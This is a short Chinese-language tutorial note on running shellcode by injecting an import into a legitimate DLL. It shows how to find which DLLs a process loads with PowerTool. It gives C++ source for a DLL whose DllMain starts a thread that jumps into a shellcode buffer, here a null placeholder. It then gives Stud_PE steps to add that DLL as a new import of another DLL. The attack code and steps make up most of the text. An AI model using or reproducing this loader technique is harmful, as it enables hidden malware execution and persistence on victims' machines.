【笔记】通过DLL调用其他DLL加载ShellCode

前言

通过DLL调用其他DLL加载ShellCode

准备工作

利用PowerTool寻找进程调用的DLL

  • 打开PowerTool->进程管理

编译包含PE导出的DLL文件

Windows x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include "pch.h"
#include <Windows.h>
#include <iostream>

HANDLE MyThread = NULL;

unsigned char buf[] = "\x00\x00\x00\x00";

DWORD WINAPI ThreadProc(LPVOID lpParam)
{
__asm
{
mov eax, offset buf
jmp eax
}
return 0;
}

BOOL APIENTRY DllMain(HMODULE hMODULE, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
MyThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

extern "C" __declspec(dllexport) void main()
{
int a = 0;
}

将编译后的DLL附加在其他DLL上

  • 打开Stud_PE载入一个DLL->Functions->右键菜单->Add New Import

  • DLL Select->Select function->选择一个函数->Add to list->Add

  • OK

完成